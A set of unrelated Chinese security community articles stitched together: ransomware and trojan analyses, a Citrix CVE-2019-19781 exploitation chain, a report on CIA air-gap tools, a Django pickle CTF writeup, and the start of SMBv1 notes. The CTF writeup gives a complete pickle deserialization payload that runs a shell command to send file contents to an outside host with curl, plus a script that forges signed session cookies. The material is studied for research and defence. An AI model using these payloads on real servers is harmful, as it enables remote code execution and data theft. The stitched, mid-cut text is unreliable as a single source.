但是，RegretLocker对待虚拟磁盘的方式有所不同。它利用OpenVirtualDisk、AttachVirtualDisk和GetVirtualDiskPhysicalPath函数将虚拟磁盘挂载为Windows计算机上的物理磁盘。挂载虚拟磁盘后，RegretLocker会分别加密磁盘文件，从而加快了整个过程。
RegretLocker的虚拟硬盘安装功能可能来自[安全研究人员odory
vx最近在GitHub上发表的研究](https://github.com/vxunderground/VXUG-Papers/blob/main/Weaponizing Windows
Virtualization/WeaponizingWindowsVirtualization.pdf)。MalwareHunterTeam研究人员还分析了RegretLocket的样本，[发现它可以脱机运行，也可以在线运行](https://twitter.com/malwrhunterteam/status/1321375502179905536)。
此外，RegretLocker可以篡改Windows Restart Manager API来终止文件保持打开状态的活动程序或Windows服务。[根据IT
Pro Portal](https://www.itproportal.com/news/new-regretlocker-ransomware-has-virtual-machines-in-its-crosshairs/?es_sh=bd5b50da0610d3c99539dac25f65c25c&es_ad=255047)，其他勒索软件类型使用相同的API，包括[Sodinokibi](https://blog.malwarebytes.com/detections/ransom-sodinokibi/)、[Ryuk](https://www.malwarebytes.com/ryuk-ransomware/)、Conti、Medusa
Locker、ThunderX、[SamSam](https://blog.malwarebytes.com/cybercrime/2018/05/samsam-ransomware-need-know/)和LockerGoga，使用RegretLocker加密的文件使用.mouse扩展名。
* * * | 社区文章 |
# CVE-2019-19781：深入分析Citrix ADC RCE漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 mdsec，文章来源：mdsec.co.uk
原文地址：<https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
Citrix ADC及Citrix
Gateway上个月被曝存在一个严重漏洞，编号为CVE-2019-19781。我们比较关注该漏洞，据称未经身份认证的攻击者可以利用该漏洞攻击目标设备。虽然Positive
Technologies和Paddy Power Betfair最早公布了漏洞信息，但并没有公开利用该漏洞的方式，因此需要进一步研究。
## 0x01 漏洞分析
尽管之前没有公开关于该漏洞的利用方式，但我们还是可以在Citrix的[安全公告](https://support.citrix.com/article/CTX267679)中找到关于漏洞类型的蛛丝马迹。
从该信息中，我们可知漏洞点可能位于`/vpns/`路径中，并且可能是一个目录遍历漏洞。了解这一点后，我们开始在`httpd.conf`文件中寻找`/vpns`的定义，发现`/vpn/portal/scripts/`由`NetScaler::Portal::Handler`这个Perl模块（`Handler.pm`）负责处理。
该目录中包含若干个脚本，但由于这可能是一个目录遍历漏洞，因此我们决定重点关注与文件写入操作有关的任何潜在的代码路径。
最终我们在`UsersPrefs` Perl模块中找到了如下代码：
sub csd {
my $self = shift;
my $skip_read = shift || "";
# Santity Check
my $cgi = new CGI;
print "Content-type: text/html\n\n";
// Username variable initialized by the NSC_USER HTTP Header
my $username = Encode::decode('utf8', $ENV{'HTTP_NSC_USER'}) || errorpage("Missing NSC_USER header.”); <- MARK THIS
$self->{username} = $username;
...
$self->{session} = %session;
// Constructing the path from the username.
$self->{filename} = NetScaler::Portal::Config::c->{bookmark_dir} . Encode::encode('utf8', $username) . '.xml’;
if($skip_read eq 1) {
return;
}
简而言之，这段代码会直接根据HTTP头部中的`NSC_USER`字段构建具体路径，没有进行任何过滤操作。因此，调用`csd`函数的任何脚本都可以触发路径漏洞。
几乎所有脚本都会使用这个函数，然而对我们而言最有趣的是`newbm.pl`这个脚本文件：
my $cgi = new CGI;
print "Content-type: text/html\n\n";
my $user = NetScaler::Portal::UserPrefs->new();
my $doc = $user->csd();
...
my $newurl = Encode::decode('utf8', $cgi->param('url'));
my $newtitle = Encode::decode('utf8', $cgi->param('title'));
my $newdesc = Encode::decode('utf8', $cgi->param('desc'));
my $UI_inuse = Encode::decode('utf8', $cgi->param('UI_inuse'));
...
my $newBM = { url => $newurl,
title => $newtitle,
descr => $newdesc,
UI_inuse => $UI_inuse,
};
...
该脚本会根据多个参数创建一个数组，然后调用`filewrite`函数，该函数将具体内容写入磁盘上的一个XML文件。
if ($newBM->{url} =~ /^\/){
push @{$doc->{filesystems}->{filesystem}}, $newBM;
} else { # bookmark
push @{$doc->{bookmarks}->{bookmark}}, $newBM;
}
// Writing XML file to disk
$user->filewrite($doc);
因此从本质上来看，现在我们得到了一个部分文件写入原语，可以控制除文件扩展名外的具体路径，也能控制xml文件中的某些内容。如果单凭这个漏洞，我们基本上没啥发挥空间，然而在看到Craig
Yong的一篇[文章](https://www.tripwire.com/state-of-security/vert/citrix-netscaler-cve-2019-19781-what-you-need-to-know/)后，我们发现有可能使用Perl Template
Toolkit来进一步利用该漏洞。
进一步研究后，我们发现可以在XML文件中插入特定指令，如果模板引擎解析该内容，就有可能实现代码执行。
比如，我们可以通过如下方式来实现模板解析：
再次回到这个漏洞利用过程，现在我们可以使用部分文件写入原语来注入Perl Template Toolkit指令，但仍需要找到一种方法，强制脚本解析模板。
寻找涉及到模板操作的所有代码后，我们找到了`Handler.pm`模块：
其中`$tmplfile`变量来自于HTTP请求路径，并且代码会创建一个新的模板，解析该文件。
将前面我们创建的`test.xml`文件拷贝到模板目录中，我们就可以触发模板解析操作。
总结一下，为了利用该漏洞，我们需要执行如下操作：
1、找到通过模板执行Perl代码的方法；
2、使用路径遍历漏洞将构造的XML文件写入模板目录；
3、浏览上传的XML文件，触发模板解析。
最后还有一个点没解决，那就是使用模板来执行任意命令。在默认配置下，这似乎是“不可能”完成的一个任务。然而实际上Citrix有一个未公开的功能，可以用来执行任意perl代码，但目前我们还不准备公开该技术。根据本文提供的这些信息，有经验的安全团队应该可以复现该问题，但还需要一定研究才能实现代码执行。
由于该漏洞会影响众多设备，因此MDSec决定不公开该漏洞的现成利用代码，但我们发现有一些攻击者现在已经在使用该漏洞，因此我们认为有必要公开我们的研究成果，以便其他小伙伴能及时行动起来。
整个攻击过程可参考[此处视频](https://youtu.be/5U5Hk2CzIAk)。
## 0x02 缓解措施
Citrix公开了缓解措施，以便阻止攻击者利用该漏洞，大家可参考CVE-2019-19781的[安全公告，这里我们强烈建议Citrix
ADC用户第一时间采取修复措施。
此外，我们还可以监控POST请求。根据@buffaloverflow的提示，如果URL中带有`/vpns/`及`/../`字符串，后面跟着一个GET请求，访问以`.xml`扩展名结尾的文件，那么就可以触发警告。 | 社区文章 |
# 密室内的枪声！“双枪2”感染过程实录
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
去年7月，360安全中心曾率先曝光国内首例连环感染MBR（磁盘主引导记录）和VBR（卷引导记录）的顽固木马——“双枪”。（[http://www.freebuf.com/articles/web/140113.html）今年3](http://www.freebuf.com/articles/web/140113.html%EF%BC%89%E4%BB%8A%E5%B9%B43)月初，360安全中心发现“双枪”新变种开始出没，并从其感染行为入手，进行了一次全面分析。
与此前爆发的“双枪”木马类似，“双枪2”是以篡改电脑主页为目的，其感染迹象是浏览器主页被篡改为带有“33845”编号的网址导航站。同样地，“双枪2”使用了VBR、MBR驱动进行相互保护，查杀难度碾压“鬼影”“暗云”等顽固木马创新高。
与此前不同的是，新变种“双枪2”
主要通过下载站进行传播，它增加了与杀软的对抗策略，会拦截杀软文件创建；同时，还会通过锁定系统注册表HIVE文件，导致正常的服务项无法写入，犹如设置了封闭的案发环境，对中招电脑进行了一次“密室枪杀”。
以下是对“双枪2”感染过程的详细分析。
## 安装包过程
### 初始化配置
用户提供的样本安装包,安装包是带渠道号的，运行这个安装包后就会从网上下载一个DLL文件内存执行，下面是下载DLL文件并内存加载执行的流程:
安装包入口函数:
该函数主要为获取ChannelId 并且设置上:
从文件名中获取:
而后设置到注册表中，后续服务器通信，打点回传都会用到该数据。
设置上:
而后调用下载DLL的函数:
### 读取解析服务配置
格式化通信数据:
而后加密数据发送给服务器:
然后下载解析服务器返回的配置文件，服务器有判断客户端IP的,测试北京的IP返回空数据:
解析配置文件:
### 下载加载释放驱动模块
获取到配置中下载URL后，下载对应的DLL文件:
下载好后 计算下md5 跟配置文件中是否一致
相同后解密数据加载:
如果不是PE头，则异或解密:
修正导入表函数并且调用：
分配空间:
调用入口点函数:
而后调用导出函数DllUpdate：
## 释放安装驱动模块
### 环境检测
该模块为一个DLL主要导出一个功能函数DllUpdate。
函数入口处先进行打点统计将统计数据打到服务器。
该函数被调用了很多次，几乎每个关键的步骤都有打点统计
我们看下这个函数:
服务器地址为:
而后发送请求:
打点后，会对当前环境进行多次判定，决定而后否加载驱动:
判断是否支持的文件系统和对应驱动文件是否完整，区分当前系统X86还是X64:
其中IsWow64Process 为全局构造函数中初始化的:
判断文件系统对应文件完整性：
而后判断系统目录下配置文件是否存在:
而后检测自身驱动是否已经加载,通过判断设备名是否存在。
获取Nt基地址模块大小为生成随机设备名做准备:
生成设备名:
判断设备名存在:
然后检测是否在虚拟机中运行, 这次主要是检测磁盘类型:
检测方法:
### 下载安装恶意驱动
主要是从服务器下载驱动文件
区分32和64位系统 。
获取渠道号:
以安装包_后面带_或者.后面的数字作为推广渠道号:
初始化校验Key方法:
然后下载驱动文件:
下载:
下载好后校验下文件:
然后初始化驱动安装加载系统函数相关代码:
获取当前时间,并以这个计算随机驱动 文件名:
获取随机驱动名:
然后在安装驱动之前再检测下环境:
检测这些工具:
检测完成后，开始安装驱动,以32，64系统分别安装:
我们看下X86安装下函数:
首先提权:
然后写人驱动文件:
每次0x2000个字节,循环写入:
然后写入服务项:
加载驱动:
在完成驱动加载功能后，该模块还带有接受服务器指令，统计上传客户端信息，并执行恶意代码能力:
内存加载执行功能:
加载执行DLL:
收集用户网卡MAC机器PCID各种信息:
统计用户机器上私服相关驱动:
统计杀软信息:
检测是否运行在VMVare中:
## 总结
针对MBR和VBR系列木马泛滥的情况，360首创了针对此类顽固木马的强力查杀技术，并且能够同时自动检测和修复MBR及VBR，发现电脑浏览器主页被反复篡改无法恢复、或出现卡慢等情况时，可使用360安全卫士进行扫描查杀，彻底清除该木马。
360安全中心在此也提醒大家，尽量不要下载来历不明的软件安装，更不要轻易关闭杀软，给恶意木马可趁之机。目前，360安全中心也正在对“双枪2”木马进行持续追踪，如有新成果将第一时间与大家分享。 | 社区文章 |
# 【安全报告】隔离网络高级威胁攻击预警分析报告
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**第一章 安全隔离网络高级威胁攻击简介**
维基解密于2017年6月22日解密了美国中央情报局(CIA)穹顶7（Vault7）网络武器库中的第十二批档案，分别是“野蛮袋鼠（Brutal
Kangaroo）”和“激情猿猴（Emotional
Simian）”项目，被披露的档案中详细描述了美国情报机构如何远程隐蔽地入侵访问封闭的计算机网络或独立的安全隔离网络（Air-Gapped
Devices，从未连接过互联网的设备）。
一般金融机构、军事机构、核设施和能源基础行业等都会使用无法访问互联网的封闭网络以保护重要数字资产，重要数字资产处在隔离网络中，黑客无法直接攻击这些目标，传统的黑客渗透攻击手段都会失效。但隔离网络并不代表着绝对安全，它只能隔离计算机数字资产的网络访问，无法阻断物理介质传输数据和物理设备的接入，比如U盘、光盘等物理数据存储介质，键盘、鼠标等硬件设备，非安全的硬件设备和数据传输介质进入隔离网络，极有可能成为黑客渗透入侵隔离网络的桥梁。
**第二章 “震网三代”隔离网攻击流程简介**
2010年6月，“震网”病毒首次被发现，它被称为有史以来最复杂的网络武器，使用了4个Windows
0day漏洞用于攻击伊朗的封闭网络中的核设施工控设备，我们定义它为“震网一代”。时隔两年，2012年5月，“火焰”病毒利用了和“震网一代”相同的Windows
漏洞作为网络武器攻击了多个国家，在一代的基础上新增了更多的高级威胁攻击技术和0day漏洞，我们定义它为“震网二代”。此次披露的CIA网络武器资料表明，其攻击封闭网络的方式和前两代“震网”病毒的攻击方式相似，并使用了新的未知攻击技术，我们定义它为“震网三代”。下面会着重分析其对安全隔离网络的攻击手段，以供业界参考发现和防护此类高级威胁攻击。
此次披露的CIA网络武器主要针对微软Windows操作系统进行攻击，通过USB存储介质对安全隔离网络进行渗透攻击和窃取数据：
1\. 首先，它会攻击与目标相关联的可以连接互联网的计算机，在计算机中植入恶意感染程序。
2\. 然后，凡是接入被感染计算机的USB存储设备（如：U盘)，都会被再次植入恶意程序，整个U盘将会变成一个数据中转站，同时也是一个新的感染源。
3\. 接下来，如果这个被感染的U盘在封闭网络中被用于拷贝数据的话，U盘就会感染封闭网络中的计算机，同时偷窃计算机中的数据并秘密保存在U盘中。
4\. 最后，被感染的U盘一旦被带出隔离网络，连接到可以联网的计算机时，窃取的数据就会被传送回CIA。
更可怕的是，多台封闭网络中被感染的计算机彼此间会形成一个隐蔽的网络，用于数据交换和任务协作，并在封闭网络中持续潜伏攻击。
震网三代攻击演示视频：<http://weibo.com/tv/v/F90MPyYOH>
**第三章 “震网三代”隔离网攻击方式分析**
攻击安全隔离网络的关键技术是针对USB存储设备的感染技术，在“震网一代”病毒中该技术使用的是Windows快捷方式文件解析漏洞（CVE-2010-2568/MS10-046），这个漏洞利用了Windows在解析快捷方式文件（例如.lnk文件）时的系统机制缺陷，可以使系统自动加载攻击者指定的DLL文件，执行其中的恶意代码。该漏洞的利用效果稳定且隐蔽，具有非常强大的感染能力，将利用了漏洞的快捷方式文件置于USB存储设备（如U盘）中，无需任何用户交互，受害者只要打开设备就会被自动攻击控制电脑。
“震网二代”病毒使用了一种新的攻击隐蔽技术，参考下图中赛门铁克报告中的分析，攻击会使用一个文件夹，文件夹中放有desktop.ini、target.lnk和mssecmgr.ocx三个文件。
“震网二代”病毒在desktop.ini文件中通过shellclassinfo字段设置classid，会将文件夹重定向到一个Junction文件夹，Junction是Windows（NTFS）特有的一种链接方式，和软链接类似，但Junction只针对文件夹，下面会再详细分析。受害者打开文件夹会触发target.lnk漏洞攻击执行恶意代码，同时还能够隐藏保护文件夹中的恶意文件和lnk漏洞文件。
维基解密曝光的CIA网络武器档案中描述了三种未知的Windows快捷方式文件漏洞攻击方法和一些漏洞攻击隐蔽技术，这三种未知的攻击分别是：Giraffe
Links（长颈鹿快捷文件）、Lachesis LinkFiles (拉克西斯快捷文件)和Riverjack（杰克河快捷方式文件），
疑似为微软于2017年6月13日公告修复的新的快捷方式文件解析漏洞 CVE-2017-8464。下面我们先来介绍这三种安全隔离网络的攻击方式：
1\. Giraffe
Links（长颈鹿快捷文件攻击），该攻击特点是只要桌面进程显示了快捷方式文件就会自动加载dll执行恶意代码，可以成功攻击除开Windows
XP系统以外的所有windows系统。这个攻击场景包含了所有的快捷方式场景，也就是无论是在U盘中的快捷方式文件还是系统中的快捷方式文件，只要电脑显示了快捷方式，就会被攻击。
图 “野蛮袋鼠（Brutal Kangaroo）”文档片段
2\. Lachesis LinkFiles
(拉克西斯快捷文件攻击，“Lachesis”源自希腊神话中命运三女神之一)，该攻击特点需要autorun.inf文件配合快捷方式文件，在U盘设备插入计算机系统时加载autorun.inf文件，然后自动加载dll执行恶意代码。这个攻击场景只限于U盘等USB存储设备插入电脑时，而且只能攻击Windows
7系统。
图 “野蛮袋鼠（Brutal Kangaroo）”文档片段
3\.
Riverjack（杰克河快捷方式文件，“Riverjack“美国北卡罗来纳州一个地名），该攻击的特点是使用了Windows文件资源管理器的“库”功能进行隐蔽攻击，不需要显示快捷方式文件且可以隐藏快捷方式文件，可以攻击Windows
7,8,8.1系统，从技术角度分析由于Windows文件资源管理器的“库”功能只支持Windows
7及其以上的操作系统，所以这个功能和漏洞无关，是一个扩展的攻击隐蔽技术或漏洞利用保护技术。
图 “野蛮袋鼠（Brutal Kangaroo）”文档片段
下面我们来着重分析下Riverjack（杰克河快捷方式文件）攻击方式，根据CIA档案我们发现该攻击隐蔽技术的细节，该攻击方式分为四个部分：快捷方式文件夹、Junction文件夹、“库”文件和快捷方式文件，前面三部分是攻击隐蔽技术，用正常的系统特性隐藏快捷方式文件的漏洞攻击，四个部分结合起来就成为了更难以被发现的高级威胁攻击，可以在被攻击系统中长期潜伏。
图 “野蛮袋鼠（Brutal Kangaroo）”文档片段
首先，给将普通文件夹改名成设定成指定类型的classid，如<MyFolder>.<CLSID>，
它将会变成一个Junction Foldersrs。
图 “野蛮袋鼠（Brutal Kangaroo）”文档片段
假设给文件夹设置一个不存在的classid名24138469-5DDA-479D-A150-3695B9365DC0}
图 “野蛮袋鼠（Brutal Kangaroo）”文档片段
打开这个文件夹后，桌面进程会查询这个不存在的classid注册表键。
然后，如果直接设置这个注册表键值指向一个固定位置的dll文件，那么打开这个文件夹后会关联verclsid.exe 加载这个dll执行代码。
同时，如果在用户启动目录中加入这个Junction文件夹，在电脑重启时也会触发加载这个dll文件执行代码。
接下来，CIA档案中还介绍了利用Windows
Libray（库）文件的攻击隐藏技术，它是在Windows7及其以上系统中资源管理器一种新的快捷方式特性，它的本质是一个xml配置文件，可以支持指向上文分析的Junction文件夹，在xml文件中指定foldertype和knownfolder字段就可以构造恶意的”库”快捷方式。
最后，我们会发现野蛮袋鼠项目与震网一、二代病毒相比，利用系统特性更新了一些新的攻击技术，但仍然是以windows快捷方式文件解析漏洞为核心。在“震网一代“病毒中使用的核心漏洞是windows快捷方式文件解析漏洞（CVE-2010-2568/MS10-046），时隔5年后，安全研究员Michael
Heerklotz绕过该漏洞补丁中的安全限制，发现了第二个windows快捷方式文件解析漏洞（CVE-2015-0096/MS15-020
），此漏洞的技术细节一经披露就被黑客疯狂利用。近日，微软于2017年6月13日公告修复了第三个快捷方式文件解析漏洞
CVE-2017-8464，但在6月13日的安全公告中并没有标明任何漏洞来源，也没有发现黑客在野外利用该漏洞。
奇怪的是在一周后维基解密曝光了CIA的网络武器“野蛮袋鼠（Brutal Kangaroo）”和“激情猿猴（Emotional
Simian），根据上文我们的技术分析，再结合该项目档案中的项目开发时间节点，我们推测该项目利用的核心漏洞就是最新的CVE-2017-8464。
**第四章 “冲击钻”攻击技术简介**
维基解密的创始人阿桑奇于2017年3月9日左右发布一段2分钟的视频专门解释了一个入侵安全隔离网的网络武器“冲击钻（HammerDrill）”，并在3月19日在维基解密网站公布了该项目详细开发文档。
“冲击钻（HammerDrill）”是通过劫持Windows系统上的光盘刻录软件，感染光盘这类数据传输介质的方式，以达到入侵隔离网络目的。在该项目的开发文档中详细介绍了感染光盘的步骤，下面我们来简要分析解读下：
1\. 冲击钻会启动一个线程通过wmi接口来监控系统进程。
2\. 如果在进程列表中发现NERO.EXE, NEROEXPRESS.EXE and
NEROSTARTSMART.EXE三个进程名，就会往进程中注入一个恶意的dll文件,并劫持进程的读文件操作。
3\. 如果发现光盘刻录软件读入了PE可执行文件，就篡改文件注入shellcode恶意代码。
最终，光盘刻录软件读取编辑的PE可执行文件都会被感染，这个光盘将成为一个恶意感染源，如果光盘被接入隔离网络使用，计算机操作人员不慎运行或安装了其中的软件，黑客也就成功渗透了隔离网络。由于资料只披露了HammerDrill2.0的开发笔记，没有利用高级的安全漏洞技术，但在技术上推测实际上可以作为“震网三代”的一个辅助攻击组件，配合震网三代感染光盘等软数据存储介质。
**第五章 “BadUSB”攻击技术简介**
在维基解密披露的CIA知识库文档中还介绍了“BadUSB”技术，实际上这是近年计算机安全领域最热门的攻击技术之一，黑客已经广泛利用了该技术。“BadUSB”主要是利用恶意的HID（Human
InterfaceDevice，是计算机直接与人交互的设备，例如键盘、鼠标等）设备和无线网卡设备进行攻击，而与正常的普通的HID设备不同，这类设备被黑客定制小型化，外形和一个U盘没有任何差别。
类似的HID设备一旦插入电脑就会被模拟成键盘自动输入恶意代码运行，而NSA（美国国家安全局）的另外一个强大的无线间谍工具水蝮蛇一号（COTTONMOUTH-I），也是看起来像一个普通U盘，但实际上是一个恶意的小型电脑，在被披露的文档中介绍了它可以创建一个无线桥接网络接入到目标网络中，然后通过这个无线网络控制目标电脑。
所以，黑客仍然有可能通过恶意的USB设备入侵渗透隔离网络,但这类攻击并不具备震网三代病毒那样强大的自动感染传播能力。
**第六章 安全隔离网络高级威胁攻击防御建议**
防范震网三代（CVE-2017-8464），广大用户和企事业单位应及时安装微软6月补丁修复漏洞。360安全卫士及天擎等产品也已针对震网三代的漏洞利用特征更新了防护规则，能够精准拦截和查杀震网三代攻击样本。
同时，在隔离网络中的计算机操作人员仍然需要提高安全意识，注意到封闭的隔离网络并不意味着绝对安全，对于高安全级别的隔离网络除了要修复系统和软件的安全漏洞，还要隔绝一切不被信任的外部数据存储介质和硬件设备。
**第七章 参考**
<https://wikileaks.org/vault7/document/Emotional_Simian-v2_3-User_Guide/Emotional_Simian-v2_3-User_Guide.pdf>
<https://wikileaks.org/vault7/document/Brutal_Kangaroo-DriftingDeadline-V1_2-User_Guide/Brutal_Kangaroo-DriftingDeadline-V1_2-User_Guide.pdf>
<https://wikileaks.org/ciav7p1/cms/page_13763373.html>
<https://wikileaks.org/ciav7p1/cms/page_13763381.html>
<https://wikileaks.org/ciav7p1/cms/page_17072186.html>
<https://wikileaks.org/ciav7p1/cms/page_17072172.html>
<https://wikileaks.org/ciav7p1/cms/page_20873532.html>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464>
<https://www.symantec.com/connect/blogs/w32flamer-spreading-mechanism-tricks-and-exploits>
<https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/kaspersky-lab-gauss.pdf>
**360追日团队（Helios Team）**
360 追日团队（Helios
Team）是360公司高级威胁研究团队，从事APT攻击发现与追踪、互联网安全事件应急响应、黑客产业链挖掘和研究等工作。团队成立于2014年12月，通过整合360公司海量安全大数据，实现了威胁情报快速关联溯源，独家首次发现并追踪了三十余个APT组织及黑客团伙，大大拓宽了国内关于黑客产业的研究视野，填补了国内APT研究的空白，并为大量企业和政府机构提供安全威胁评估及解决方案输出。
**已公开APT相关研究成果**
**联系方式**
邮箱：[email protected]
微信公众号：360追日团队
扫描二维码关注微信公众号 | 社区文章 |
# **0x00前言**
Code
Breaking中的pickle那一道题因为各种原因一直没有钻研，然后今天P神终于放出了[writeup](https://tttang.com/archive/1294/
"writeup")，不得不膜一下，因此来复现并学习
# **0x01格式化漏洞**
首先首页就是一个登陆页面，输入任何字符都可以登录,因此各种测试，发现存在格式化字符漏洞。使用
{{user.password}}登陆则会显示出一个加密的密码
[
同时也有鸡肋的self-xss的存在
[
首先我们看看settings.py下的文件发现`SECRET_KEY`是保存在文件中的
[
并且session_engine位置在`django.contrib.sessions.backends.signed_cookies`中，因此我们需要通过格式化字符串漏洞来导出SECRET_KEY并且伪造cookie。
[
首先使用pycharm在template中login页面上面下一个断点
[
点击debug按钮，在变量的位置看到大量的变量名
再来看看settings中template的那一块
同时context_processors负责向模板中注入一些上下文，requests、user和perms都是默认存在的，但是settings是不存在的，因此无法在模板中读取settings的信息，又因为Django引擎有一定的限制，因此我们通过[P神所说的方法](https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html "P神所说的方法")
`{{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}}`是不能读取SECRET_KEY的。
继续搜索可用的变量在`request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY`这个地址下面发现了SECRET_KEY的变量
因此构造字符串`{{request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY}}`登录之后成功拿到了SECRET_KEY
# **0x02 序列化漏洞**
在core文件夹还发现了serializer.py这个文件，其源码如下
import pickle
import io
import builtins
__all__ = ('PickleSerializer', )
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)
def loads(self, data):
try:
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data)
return RestrictedUnpickler(file,
encoding='ASCII', errors='strict').load()
except Exception as e:
return {}
有pickle的地方就有序列化漏洞，原来Django的session是使用json进行序列化的，这里使用了pickle，并且使用了黑名单机制。因此这里就很明显了，我们需要使用SECRET_KEY来构造一个pickle序列化来执行命令执行。但这里限定了只能使用`builtins`方法，禁止了eval,exec等一些方法，但是没有禁止getattr这个方法，因此我们可以构造`builtins.getattr('builtins',
'eval')`的方法来构造eval函数,但是直接对类进行构造无法触发反序列化的，在这里p神给出了一种方案 ** _自己来写pickle字符串_**
。我们先看一段普通的序列化的方式，写一个pickle的序列化代码
from datetime import date
import pickle
import os
class test(object):
def __reduce__(self):
return (os.system,('ifconfig',))
a=test()
with open('poc.pickle','wb') as f:
pickle.dump(a,f, protocol = 0)
f.close()
运行之后得到序列化的字符串`b'cnt\nsystem\np0\n(Vifconfig\np1\ntp2\nRp3\n.'`,然后使用如下命令
python -m pickletools poc.pickle
得到如下结果
分析一下，我们从pickle的源码中看到OPCODE
一些符号的意思是
* `(` :将特殊对象推入栈中，表示开始的时间
* `.` :序列化结束的标志
* `c` :将find_class类压入栈中，包含两个参数
* `V` 、`S` :向栈中压入一个(unicode)字符串
* `t` : 从栈顶开始，找到最上面的一个(，并将(到t中间的内容全部弹出，组成一个元组，再把这个元组压入栈中
* `}` : 弹出一个空的字典
* `p`：将栈顶的元素存储到memo中，p后面跟一个数字，就是表示这个元素在memo中的索引
* `R`：从栈顶弹出一个可执行对象和一个元组，元组作为函数的参数列表执行，并将返回值压入栈上
* `1` : 通过topmost markobject丢弃堆栈顶部
* `g` : 从堆栈备忘录中导出项目;索引是字符串arg
因此我们可以将我们的序列化字符串解释为
cnt # 传入一个参数，建立一个元组
system # 申明system方法
p0 # 将之压入一个栈的对象
(Vifconfig # 向特殊字符ifconfig推入栈中
p1 # 将这个元组储存到第memo的第一个位置
tp2 # 将ifconfig这个元组全部弹出
Rp3 # 弹出一个可执行对象并且压入memo的第3个位置
. # 结束
可以简化为
cnt
system
(Vifconfig
tR.
因此，我们可以自己编写pickle序列化代码
cbuiltins # 将builtins设置为可执行对象
getattr # 获取builtins的getattr方法
(cbuiltins # 将builtins的对象压入栈中，并且创造find_class类
dict # 提取字典
S'get' # 压入一个get字符串进入栈中
tR(cbuiltins # 将以上(之内的所有函数函数弹出并且执行 ,重新声明builtins方法
globals # 提取globals类
(tRS'builtins' # 提取并执行，压入builtins字符串
tRp1 # 提取攻压入memo区域内
. # 结束
成功构造,现在我们可以构造eval函数了,使用g1获取刚才的builtins，从而获得eval方法
...
cbuiltins
getattr
(g1
S'eval'
tR
最终的payload为
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("curl vps/?$(cat /flag|base64)")'
tR.
构造session的脚本
from django.core import signing
import pickle
import builtins,io
import base64
import datetime
import json
import re
import time
import zlib
data = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("curl vps/?$(cat /flag_djang0_p1ckle | base64)")'
tR
.'''
def b64_encode(s):
return base64.urlsafe_b64encode(s).strip(b'=')
def pickle_exp(SECRET_KEY):
global data
is_compressed = False
compress = False
if compress:
# Avoid zlib dependency unless compress is being used
compressed = zlib.compress(data)
if len(compressed) < (len(data) - 1):
data = compressed
is_compressed = True
base64d = b64_encode(data).decode()
if is_compressed:
base64d = '.' + base64d
SECRET_KEY = SECRET_KEY
# 根据SECRET_KEY进行Cookie的制造
session = signing.TimestampSigner(key = SECRET_KEY,salt='django.contrib.sessions.backends.signed_cookies').sign(base64d)
print(session)
if __name__ == '__main__':
SECRET_KEY = 'zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm'
pickle_exp(SECRET_KEY)
这里注意在执行序列化的时候要在第一次账号输入进去之后再更改两次序列化的值，否则序列化不会执行
最后得到flag
flag{d5c2d79de511721699d1e20ec3e5a355}
最后，膜p神~ | 社区文章 |
## 0x00
在内网利用PTH进行横向移动时常使用的atexec/smbexec/psexec等都有smb协议的身影，而笔者对smb协议理解的也比较粗浅，所以对smb协议进行一个系统的学习，并作个记录。
## 0x01 SMBv1
CIFS协议是SMB协议的一个特定版本的特定叫法，本质还是SMB协议。其它的SMB协议版本对应有其它的叫法，这个叫法也可以说是方言。
> 服务器消息块 (SMB) 协议是网络文件共享协议，如 Microsoft Windows中实现的称为 Microsoft SMB 协议。
> 定义特定版本的协议的消息数据包集称为方言。 常见的 Internet 文件系统 (CIFS) 协议是 SMB 的方言。
CIFS协议可以进行客户端和服务器之间传输文件，也可以用于访问集中式打印队列，以及使用命名管道进行进程间通信。
### 0x010 SMBv1 消息结构
SMBv1消息由三部分构成
* 固定长度的SMB标头（SMB_Header）
* 可变长度的参数块（SMB_Parameters）
* 可变长度的数据块（SMB_Data）
#### 0x0100 SMB_Header
SMB_Header结构如下
SMB_Header{
UCHAR Protocol[4];
UCHAR Command;
SMB_ERROR Status;
UCHAR Flags;
USHORT Flags2;
USHORT PIDHigh;
UCHAR SecurityFeatures[8];
USHORT Reserved;
USHORT TID;
USHORT PIDLow;
USHORT UID;
USHORT MID;
}
Command位用于表示发送的是什么命令，用命令对应的命令代码表示，比如我要发送SMB_COM_CREATE_DIRECTORY命令，则填充Command位为0x00，SMB_COM_CREATE_DIRECTORY命令的意思是创建一个新目录。其它命令可查看[文档](https://learn.microsoft.com/zh-cn/openspecs/windows_protocols/ms-cifs/32b5d4b7-d90b-483f-ad6a-003fd110f0ec)
SMB_Header结构的其它位的含义可以查看[文档](https://learn.microsoft.com/zh-cn/openspecs/windows_protocols/ms-cifs/69a29f73-de0c-45a6-a1aa-8ceeea42217f)
#### 0x0101 SMB_Parameters
SMB_Parameters结构如下
SMB_Parameters{
UCHAR WordCount;
USHORT Words[WordCount] (variable);
}
